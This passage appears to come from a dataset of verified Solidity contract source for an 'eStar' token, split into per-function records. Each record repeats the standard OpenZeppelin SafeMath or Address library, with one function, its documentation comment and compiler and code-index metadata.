library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */
NatSpecMultiLine
mod
function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); }
/** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 3931, 4066 ] }
1,325
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */
NatSpecMultiLine
mod
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; }
/** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 4546, 4717 ] }
1,326
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
isContract
function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); }
/** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 606, 1230 ] }
1,327
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
sendValue
function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); }
/** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 2160, 2562 ] }
1,328
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCall
function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); }
/** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 3318, 3496 ] }
1,329
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCall
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 3721, 3922 ] }
1,330
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring 